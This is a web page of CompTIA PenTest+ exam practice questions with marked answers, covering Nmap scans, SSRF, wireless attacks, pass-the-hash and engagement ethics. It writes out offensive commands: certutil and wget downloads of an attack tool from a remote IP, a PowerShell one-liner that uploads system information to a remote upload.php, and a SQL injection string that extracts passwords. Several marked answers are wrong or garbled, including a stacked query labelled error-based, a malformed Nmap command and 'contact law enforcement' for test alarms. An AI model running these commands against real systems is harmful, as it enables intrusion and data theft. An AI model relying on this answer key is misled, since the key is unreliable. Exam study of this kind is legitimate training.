CompTIA PenTest+ PT0-002 Exam Preparation

Play an AI-generated podcast conversation about this lesson

Which vulnerability allows a tester to obtain credentials by querying a cloud provider's metadata?

Server-side request forgery (correct)
Local file inclusion
Remote file inclusion
Cross-site request forgery

What command can a penetration tester use to download a file from a remote server to assist in exploring service permissions?

wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe
schtasks /query /fo LIST /v | find /I “Next Run Time:”
powershell (New-Object System.Net.WebClient).UploadFile(‘http://192.168.2.124/upload.php’, ‘systeminfo.txt’)
certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe (correct)

Which command would a penetration tester use to perform a ping scan on a subnet?

nmap -sn 10.12.1.0/24 (correct)
nmap -sV -A 10.12.1.0/24
nmap -Pn 10.12.1.0/24
nmap -sT -p- 10.12.1.0/24

What is the most effective recommendation to secure a wireless network after an unauthorized access event using Aircrack-ng?

Changing to Wi-Fi equipment that supports strong encryption (A) Signup and view all the answers

Which benefit does the command 'schtasks /query /fo LIST /v | find /I “Next Run Time:”' provide when exploring service permissions?

Lists all scheduled tasks and their next run times (C) Signup and view all the answers

What aspect of testing does server-side request forgery highlight when accessing cloud provider metadata?

Obtaining sensitive environment data (D) Signup and view all the answers

What is the best method for a penetration tester to pivot and gain additional access to a network when faced with restrictive ACLs on a wireless subnet?

Span deauthentication packets to the wireless clients. (D) Signup and view all the answers

Which approach is NOT recommended to enhance wireless security?

Using WEP encryption (D) Signup and view all the answers

What likely caused all 65,535 ports to be reported as filtered during a second Nmap scan?

A firewall or IPS blocked the scan. (A) Signup and view all the answers

Which tool provides an exploitation suite with payload modules covering the broadest range of target system types?

Metasploit (A) Signup and view all the answers

What impact does using 'nmap -sV -A 10.12.1.0/24' have when assessing a network?

It provides versioning and OS detection for services running on hosts (B) Signup and view all the answers

Which tool combination would be most effective for preparing an attack after discovering a PHP script in a vulnerable state?

Burp Suite and DIRB (A) Signup and view all the answers

What does the -F option in an Nmap scan refer to?

Fast scan that checks only common ports. (B) Signup and view all the answers

If a penetration tester finds a PHP script in an unprotected internal repository, what should be the primary concern?

The script may contain security vulnerabilities. (A) Signup and view all the answers

Which of the following responses is NOT a potential countermeasure a firewall might perform during a network scan?

Automatically updating signature definitions. (B) Signup and view all the answers

In the context of penetration testing, what is an 'evil twin' attack?

A technique of impersonating a legitimate access point. (C) Signup and view all the answers

After discovering a vulnerability and failing to report it, what is the appropriate next step for the company?

Investigate the penetration tester (D) Signup and view all the answers

What should a company verify first when it wants to test the security of its hosted data after obtaining permission from a cloud service provider?

Whether sensitive client data is publicly accessible (A) Signup and view all the answers

What is an example of a Bluesnarfing attack that a penetration tester could perform?

Dump the user address book on the device (D) Signup and view all the answers

Why is it critical for companies to thoroughly investigate after a breach has occurred?

To determine the cause and prevent future incidents (D) Signup and view all the answers

Which of the following is NOT a recommended action after notifying a client about a data breach?

Increase marketing efforts to regain client trust (A) Signup and view all the answers

What outcomes can a poorly executed penetration test lead to?

Unauthorized access to sensitive data (A) Signup and view all the answers

What action should be prioritized to ensure client data is protected in a cloud environment?

Strict access controls (C) Signup and view all the answers

What is the primary goal of conducting a vulnerability scan?

To identify potential security weaknesses (C) Signup and view all the answers

Which of the following actions would be considered unethical according to the SOW? (Select two)

Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client’s senior leadership team (B), Seeking help with the engagement in underground hacker forums by sharing the client’s public IP address (C) Signup and view all the answers

What is the most likely reason for receiving TCP resets during the assessment of web servers?

The web server is using a Web Application Firewall (WAF) (B) Signup and view all the answers

What should a penetration tester do with client findings after an engagement according to the SOW?

Dispose of findings by erasing them in a secure manner (A) Signup and view all the answers

Which behavior aligns with ethical standards when working with a client’s confidential information?

Encrypting findings before delivering them to the client (A) Signup and view all the answers

In the context of the SOW, which of the following actions could be potentially harmful to the client's security?

Disregarding security protocols of the engagement (B) Signup and view all the answers

When a WAF resets a TCP connection, what is it likely responding to?

Malformed packets or suspected attacks (C) Signup and view all the answers

What is a primary responsibility of a penetration tester concerning client confidentiality?

Maintaining confidentiality of sensitive information regarding the client (B) Signup and view all the answers

Which practice could lead to ethical violations in penetration testing?

Failing to report critical vulnerabilities to the client (D) Signup and view all the answers

Which tool is the penetration tester MOST likely to use for performing a vulnerability scan against a web server?

Nikto (A) Signup and view all the answers

What type of SQL injection attack is indicated by the input '1;SELECT Username, Password FROM Users;'?

Error-based (C) Signup and view all the answers

Based on Nmap scan results, which operating system is the target MOST likely running if the scan points to Windows features?

Windows Server (C) Signup and view all the answers

Which Nmap command correctly scans for UDP services SNMP, NetBIOS, and DNS?

nmap –vv sUV –p 53,137-139,161-162 10.10.1.20/24 –oA udpscan (C) Signup and view all the answers

What should a company do NEXT if security alarms are triggered during a penetration test?

Contact law enforcement. (D) Signup and view all the answers

Which scenario BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

The IP address is on the blocklist. (A) Signup and view all the answers

In which scenario would a penetration tester most likely use Nmap?

To perform a network discovery. (A) Signup and view all the answers

Which of the following correctly represents a limitation of penetration testing?

It can only evaluate known vulnerabilities. (C) Signup and view all the answers

What is the primary reason for TCP resets from a web server when a WAF is present?

The WAF is blocking legitimate traffic. (B) Signup and view all the answers

Which recommendation should a penetration tester make to address the use of vulnerable third-party modules in products?

Add a dependency checker into the tool chain. (B) Signup and view all the answers

What change is necessary for fixing the Perl script used to identify vulnerabilities in network switches?

Remove unnecessary variables and streamline the code. (B) Signup and view all the answers

Which tool should be used to pass the hash once password hashes are extracted from lsass.exe?

Mimikatz (D) Signup and view all the answers

What is the most effective way to ensure the security of API settings before a deployment?

Implement strict validation protocols. (B) Signup and view all the answers

What tool is recommended for achieving persistence after passing the hash?

WMI (A) Signup and view all the answers

Which option describes a common outcome when a penetration tester uses a dependency checker during the software development process?

Detecting and addressing known vulnerabilities in libraries. (B) Signup and view all the answers

What is a critical step to ensure the Perl script runs properly?

Modifying specific lines to correct initialization. (A) Signup and view all the answers

Pivot Attack Method (Wireless Subnet)

Gaining access to a network by exploiting a vulnerability to move from a compromised system (e.g. a laptop) to a wider network

Nmap Scan Flags (filtered ports)

Nmap flags used in a scan that indicates all ports are filtered by a firewall or Intrusion Prevention System (IPS).

Comprehensive Exploitation Suite

A software tool that is designed to enable complete penetration testing.

Web Application Vulnerability (PHP)

Vulnerability found in a PHP web application script that could be exploited in an unprotected source repository.